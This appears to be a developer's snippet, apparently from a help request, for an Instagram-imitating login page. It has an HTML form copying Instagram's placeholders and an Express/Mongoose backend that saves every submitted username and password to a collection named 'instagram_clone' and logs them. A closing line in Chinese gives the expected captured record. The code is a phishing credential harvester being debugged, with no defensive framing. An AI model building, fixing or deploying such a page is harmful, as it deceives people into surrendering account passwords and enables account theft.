{ _id: new ObjectId("63f222995b85f79e258642c4"), __v: 0 }
<form action="/" method="post">
<div class="item11 bg12">
<input id="inph" type="text" class="in bg1" placeholder="Phone number, username or email address">
</div>
<div class="item11">
<input id="inpass" type="text" class="in bg1" placeholder="password">
</div>
<div class="item11">
<button type="submit" id="btlog" class="in bg2">Log in</button>
</div>
</form>
const credential=mongoose.Schema({username:String,password:String});const cr_den=mongoose.model('instagram_clone',credential);
app.get('/',(req,res)=>{res.render('index.pug');})
app.post('/',(req,res)=>{var data=new cr_den(req.body);data.save().then(()=>{console.log("response Noted..!!");console.log(data);}).catch(()=>{console.log('Failed To Save Data...!!!')})res.render('index.pug');})
结果应该是
{ _id: new ObjectId("63f222995b85f79e258642c4"), username:"xyz",password:"xyz",__v: 0 }